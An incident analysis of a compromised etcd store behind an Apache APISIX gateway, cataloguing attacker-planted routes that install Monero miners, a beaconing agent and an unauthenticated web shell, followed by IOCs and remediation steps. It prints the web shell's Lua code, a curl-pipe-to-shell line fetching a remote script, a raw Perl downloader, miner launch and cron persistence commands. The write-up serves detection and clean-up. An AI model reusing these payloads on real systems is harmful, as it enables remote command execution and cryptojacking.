A backdoored APISIX gateway: Monero miners and a web shell, stored in etcd

TL;DR

An etcd instance backing an Apache APISIX gateway had been backdoored. The attacker planted routes and a global rule that run shell commands on the gateway host. The payloads install Monero miners, one of them with a C2 beacon, and one route is an unauthenticated web shell. Everything pays out to a single wallet.

The target

The target was an etcd 3.5.17 instance with about 42 days of uptime, used as the config store of an Apache APISIX gateway. The keyspace is tiny: 12 keys at revision 73, so the gateway was probably compromised early in its life. Ten of the keys are attacker-planted (eight routes, one global rule and one SSL object). The other two are write tests.

How it works

APISIX has a serverless-pre-function plugin that runs Lua in the request path, and Lua has os.execute and io.popen. Set the plugin’s function to a shell one-liner and every request to that route runs it. The plugin does what its documentation says. The attacker stored the config in etcd, so it survives restarts and reboots of the host.

What was planted

KeyWhat it does
global_rules/x8520615257Runs on every request. Installs the “ZOO_V3_R2” miner (below).
routes/k2r075, zzheal02, zzctf_x9Install the older .ntpd miner (below). All three carry the same gzipped script.
routes/555931495Command menu at /pr555931495?a=boot|probe|install|verify. install deploys the beaconing agent.
routes/svc_metrics_aggUnauthenticated web shell: GET /_dh7f2c81?b=<base64url cmd> runs the command and returns its output. Named to look like a metrics route.
routes/q925a14c1ccurl http://142-248-80-184.sslip.io/p/q9boot2.sh | sh
routes/tgsvrf3Sends hostname and nvidia-smi -L output to 103.39.108.200:8008. The stored JSON is invalid (\&), so it may never have loaded.
routes/task17pc19bd0382fDisabled, no plugin.
ssls/zzctfssl9Self-signed cert for zzctf9.local.
/kxtest, /zz_probe/healthWrite tests. The probe holds a timestamp of 2026-10-26 02:16 UTC.

The earliest timestamp in the dump is zzheal02, created 2026-10-25 07:24 UTC.

Three generations, one wallet

Every payload pays out to the same Monero address, and the miners share a pool. I read this as one operator iterating on an implant, or one builder, since kits get resold.

1. Legacy /tmp/.ntpd (k2r075, zzheal02, zzctf_x9)

The script takes a binary from a rival’s leftover paths, from a local gzip stash, or from gitlab.com/jileyuan/ios/-/raw/main/kc/systemd-ntpd. It then writes an XMRig config with RandomX fast mode, huge pages, max-threads-hint 75, yield: false and donate level 1. There are five pools, so blocking one hostname doesn’t stop it:

auto.c3pool.org:443      priority 0
103.194.186.150:443      priority 1
103.194.186.118:443      priority 2
204.168.225.59:5555      priority 3
auto.c3pool.org:80       priority 4

A watchdog, /tmp/.ntw.sh, wakes every 45 s and keeps exactly one instance alive. The script also cleans up other miner installs at fixed paths (.kv, .kx9, .k2, .k2rt, .a, .ap, .zx, .ksvcd, .svcng, .k2c, .rmq). It kills their processes, turns their watchdog scripts into exit 0, and rewrites the TRON-style wallet addresses in their configs to its own.

The same paths are in the list of binaries the script will copy and reuse as its own miner, it keeps a .kx9.gz stash, and two of the route names here (k2r075, zzctf_x9) echo .k2 and .kx9. They look like earlier revisions of the same kit. The script doesn’t say, and generic names like kswapd0 in the ZOO kill list could still be third parties.

A host sitting at a steady 75% CPU with no matching workload looks like this configuration.

2. ZOO_V3_R2 (the global rule)

The header comment reads # ZOO_V3_R2 stealth capture + retention + install lock, 2026-11-02. That is about eight days after the first timestamp, so this is an update to the same control plane and the original infection came earlier.

It lives in /tmp/.io-<md5(hostname)[0:6]>/ (an io binary, a run watchdog, st state and an .install-lock/ directory) and mines to auto.c3pool.org:19999 with --threads=$(nproc).

Because it sits in a global rule, many requests can trigger it at once. The script’s own comment says “Several requests can enter global_rules concurrently; only one may install.” It handles that with a mkdir mutex and stale-pid recovery.

It only accepts three decompressed sizes (796792, 1365112 and 801464 bytes) and pins the downloaded archive by sha256 prefix. The download comes from 83.171.203.211:18123/srv-ntpd.gz via curl, wget, busybox wget or a raw Perl socket, whichever the host has.

It kills TDEZ, sysd, xmrig, kswapd0, .ntpd and .ntw, so generation 1 gets evicted too.

Persistence has three layers. The etcd key re-fires on every request, a watchdog loop checks every 30 s, and a cron entry runs every 2 minutes: */2 * * * * ... pgrep -f $D/run || setsid sh $D/run.

The script prints status strings such as ZOO_STARTED_*, ZOO_HEALED_*, ZOO_INSTALL_LOCKED_*, ZOO_DLFAIL_* and ZOO_BADSHA_*. It runs inside a request, so they end up in the HTTP response.

3. The management agent (/pr555931495?a=install)

This is the same srv-ntpd binary, installed to /var/tmp/.krab-mg-<md5(host|machine-id|"management-v1")[0:10]>/ with a different command line:

The revision order fits: global rule (16 to 54), then management (55), then the web shell (70) and the stage-2 downloader (71).

Details worth a look

The web shell is eight lines of Lua, reformatted here for readability. The base64url handling lets a command go in a URL without escaping, and the RC[...]RC wrapper makes the output easy to cut out of the HTTP response.

return function()
  local b = ngx.var.arg_b
  if not b or b == '' then ngx.say('RC_NOCMD') return end
  b = b:gsub('-','+'):gsub('_','/'):gsub('%.','=')
  local c = ngx.decode_base64(b)
  if not c then ngx.say('RC_BADB64') return end
  local f = io.popen(c)
  local s = f:read('*a'); f:close()
  ngx.say('RC['..s..']RC')
end

Generation 1 rewrites the payout in the configs of those other installs, swapping in its own wallet. T plus 33 base58 characters is the shape of a TRON address, so it targets whatever those configs use as a user string:

sed -i -E "s/T[1-9A-HJ-NP-Za-km-z]{33}/$W/g" "$g"

It also replaces their watchdog scripts with a stub that does nothing, so they can’t restart anything:

printf '#!/bin/sh\nexit 0\n' >"$st"

For hosts with no curl or wget, the downloader’s last resort is a raw HTTP request over a socket. The Host header is d:

perl -MIO::Socket::INET -e '... print $s "GET /srv-ntpd.gz HTTP/1.0\r\nHost: d\r\n\r\n"; ...'

Generation 3 is a miner that doesn’t mine. It points the pool at the discard port, so the binary has nothing to do until it is told otherwise:

setsid "$B" -q -u "$W" -p "$R" -o 127.0.0.1:9 -l 127.0.0.1:18447 \
  -k "$RPC" -S "$ST" --beacon "83.171.203.211:28350" --secret "$SEC" --name "$N"

Clean-up order

Killing the process changes nothing. To get rid of generation 2, remove the etcd key (global rule or route) first, then the cron line, then the run watchdog, then the io binary and its directory. In any other order it heals in between.

IOCs

IP addresses

IPPortRole
83.171[.]203[.]21118123serves srv-ntpd.gz
83.171[.]203[.]21128350--beacon endpoint of the management agent
142.248[.]80[.]18480serves q9boot2.sh
103.39[.]108[.]2008008receives the verify_ip beacon
103.194[.]186[.]150443mining pool
103.194[.]186[.]118443mining pool
204.168[.]225[.]595555mining pool

Domains

DomainPortsRole
auto[.]c3pool[.]org443, 80, 19999mining pool
142-248-80-184[.]sslip[.]io80resolves to 142.248[.]80[.]184, hosts q9boot2.sh

URLs

http://83.171[.]203[.]211:18123/srv-ntpd.gz
http://142-248-80-184[.]sslip[.]io/p/q9boot2.sh
http://103.39[.]108[.]200:8008/verify_ip
https://gitlab[.]com/jileyuan/ios/-/raw/main/kc/systemd-ntpd

Monero wallet

48xchZ1Www5B43wvjZpa1RUPBQ4sP7fFMg6hu7qYh64gCEU5Qb5j7vvbWdmQXnedVrMushxGdhHaXExpNQSNh8DS3opF9jC

Paths and filenames on the host

PathWhat
/tmp/.ntpdgeneration 1 miner
/tmp/.ntpd.jsonconfig
/tmp/.ntpd.loglogs
/tmp/.ntw.shwatchdog script
/tmp/.io-<hex6>/generation 2 directory: io, g, st, run, run.pid, .install-lock/
/var/tmp/.krab-mg-<hex10>/generation 3 directory, same layout
srv-ntpd.gzdownloaded miner archive
systemd-ntpdminer binary fetched from GitLab
crontab line*/2 * * * * entry referencing .io-*/run or .krab-mg-*/run

HTTP paths on the gateway

/k2r075  /zzheal02  /zzctf_x9  /q925a14c1c  /tgsvrf3  /task17pc19bd0382f
/pr555931495?a=boot|probe|install|verify
/_dh7f2c81?b=<base64url cmd>

Takeaways

Anyone who can write to etcd can make your gateway run code, so don’t expose it, and require auth and TLS if you must reach it remotely. Disable the serverless-* plugins if you don’t use them. If you find this, rebuild the box and rotate every secret the gateway could read, because the code ran as the gateway user.